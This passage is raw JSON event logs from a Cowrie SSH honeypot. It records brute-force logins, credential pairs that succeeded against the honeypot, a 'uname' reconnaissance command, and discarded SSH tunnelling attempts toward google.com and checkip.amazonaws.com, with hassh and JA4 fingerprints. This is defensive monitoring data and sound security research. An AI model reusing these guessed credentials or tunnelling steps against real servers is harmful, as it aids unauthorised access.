\\xbc\\x05\\xab\\xb3\\tc\\xd9(\\x0e.(!\\x15\\xa7Q\\xbc~.\\x9e\\x85\\xb7\\xc3Q:\\x1e\\x9a<\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:29:41.386636Z","src_ip":"77.90.185.17","session":"d5e0881040ce","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.154.119","dst_port":443,"src_ip":"77.90.185.17","src_port":56706,"message":"direct-tcp connection request to 142.251.154.119:443 from 127.0.0.1:56706","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:29:43.174270Z","session":"d5e0881040ce","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.154.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.154.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:29:44.273336Z","src_ip":"77.90.185.17","session":"d5e0881040ce","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.154.119","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x032\\xe5/\\xdf\\x00\\x7fs\\xed\\xa5\\xdf\\xe1Z\\xc0\\x03\\x8d\\xb3\\x1b\\x8e\\xe3\\xd8S\\x0b\\xca\\xd3\\x98\"\\xa6\\x97\\xea\\xce\\x0bf \\xa1)\\xc1\\xceI\\x06\\xd6\\xe4\\xc8\\x96\\x94\\xab{\\x9ao_\\x87?8~\\x85\\x1d\\xcau\\xef\\x05\\x81\\xb9\\xe0j\\x7f\\xb9\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xb5\\x12\\xd11\\x9e>R\\xa2\\x03r\\xc5i\\xa9\\xe8R\\x044A\\xe4\\x0bW/\\xed\\xa6\\\\\\x13\\x99\\xea\\x11\\x0f\\x025\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.154.119:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x032\\xe5/\\xdf\\x00\\x7fs\\xed\\xa5\\xdf\\xe1Z\\xc0\\x03\\x8d\\xb3\\x1b\\x8e\\xe3\\xd8S\\x0b\\xca\\xd3\\x98\"\\xa6\\x97\\xea\\xce\\x0bf \\xa1)\\xc1\\xceI\\x06\\xd6\\xe4\\xc8\\x96\\x94\\xab{\\x9ao_\\x87?8~\\x85\\x1d\\xcau\\xef\\x05\\x81\\xb9\\xe0j\\x7f\\xb9\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xb5\\x12\\xd11\\x9e>R\\xa2\\x03r\\xc5i\\xa9\\xe8R\\x044A\\xe4\\x0bW/\\xed\\xa6\\\\\\x13\\x99\\xea\\x11\\x0f\\x025\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:29:44.276737Z","src_ip":"77.90.185.17","session":"d5e0881040ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.1","message":"Connection lost after 11.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:29:44.972502Z","src_ip":"77.90.185.17","session":"d5e0881040ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":33208,"dst_ip":"10.17.0.5","dst_port":22,"session":"99cef52505da","protocol":"ssh","message":"New connection: 2.57.122.208:33208 (10.17.0.5:22) [session: 99cef52505da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:29:47.091959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:29:47.167303Z","src_ip":"2.57.122.208","session":"99cef52505da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:29:47.287403Z","src_ip":"2.57.122.208","session":"99cef52505da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4rfv$RFV","message":"login attempt [ubuntu/4rfv$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:29:48.012976Z","src_ip":"2.57.122.208","session":"99cef52505da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:29:49.165837Z","src_ip":"2.57.122.208","session":"99cef52505da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.42.56.78","src_port":52524,"dst_ip":"10.17.0.5","dst_port":22,"session":"f62e952906c1","protocol":"ssh","message":"New connection: 206.42.56.78:52524 (10.17.0.5:22) [session: f62e952906c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:30:32.791522Z"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:30:33.696293Z","src_ip":"206.42.56.78","session":"f62e952906c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.42.56.78","src_port":52532,"dst_ip":"10.17.0.5","dst_port":22,"session":"669f66b1223b","protocol":"ssh","message":"New connection: 206.42.56.78:52532 (10.17.0.5:22) [session: 669f66b1223b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:30:33.768091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:30:33.772403Z","src_ip":"206.42.56.78","session":"669f66b1223b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:30:33.850864Z","src_ip":"206.42.56.78","session":"669f66b1223b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"---fuck_you----","message":"login attempt [root/---fuck_you----] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:30:34.085576Z","src_ip":"206.42.56.78","session":"669f66b1223b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:30:34.276510Z","src_ip":"206.42.56.78","session":"669f66b1223b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -m","message":"CMD: uname -s -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:30:34.279771Z","src_ip":"206.42.56.78","session":"669f66b1223b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/6fa4c8ac58e7a1d947dc3250c39d1e27958f012e68061d8de0a7b70e3a65b906","size":13,"shasum":"6fa4c8ac58e7a1d947dc3250c39d1e27958f012e68061d8de0a7b70e3a65b906","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/6fa4c8ac58e7a1d947dc3250c39d1e27958f012e68061d8de0a7b70e3a65b906 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:30:34.356567Z","src_ip":"206.42.56.78","session":"669f66b1223b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:30:34.361510Z","src_ip":"206.42.56.78","session":"669f66b1223b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.17","src_port":44308,"dst_ip":"10.17.0.5","dst_port":22,"session":"73866b9b0261","protocol":"ssh","message":"New connection: 77.90.185.17:44308 (10.17.0.5:22) [session: 73866b9b0261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:31:15.336085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:31:15.339850Z","src_ip":"77.90.185.17","session":"73866b9b0261","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:31:15.450546Z","src_ip":"77.90.185.17","session":"73866b9b0261","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"adminpass","message":"login attempt [root/adminpass] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:31:15.997255Z","src_ip":"77.90.185.17","session":"73866b9b0261","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"34.251.143.91","dst_port":443,"src_ip":"77.90.185.17","src_port":52114,"message":"direct-tcp connection request to 34.251.143.91:443 from 127.0.0.1:52114","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:31:17.568369Z","session":"73866b9b0261","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"34.251.143.91","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 34.251.143.91:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T19:31:18.512270Z","src_ip":"77.90.185.17","session":"73866b9b0261","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"34.251.143.91","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03@\\xdd>N\\x8fwt\\xa4\\x95F5\\xa6\\x12\\xb3S\\x82\\xbfX\\xb6\\x1dZ\\xa5t\\xc1\\xc7@G\\xf5\\x92\\x0e6b \\xb1\\xe5F\\x01\\xc5+\\xd0\\x03\\xad\\x19b\\xc2\\xefv\\xda\\x8bi\\xa5g\\x967\\x8b,\\r\\xb8\\xc0\\xab\\xe1h\\xc9\\x98%\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xb3\\x9c\\xc2\\xf2h\\xee\\xaf\\xe6\\xe0\\xdb\\xb2\\x1e\\x0e|\\x02w\\t\\x8c3\\xd9\\x94@e\\xa9\\x86\\xa88I\\xfa\\x896 \\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 34.251.143.91:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03@\\xdd>N\\x8fwt\\xa4\\x95F5\\xa6\\x12\\xb3S\\x82\\xbfX\\xb6\\x1dZ\\xa5t\\xc1\\xc7@G\\xf5\\x92\\x0e6b 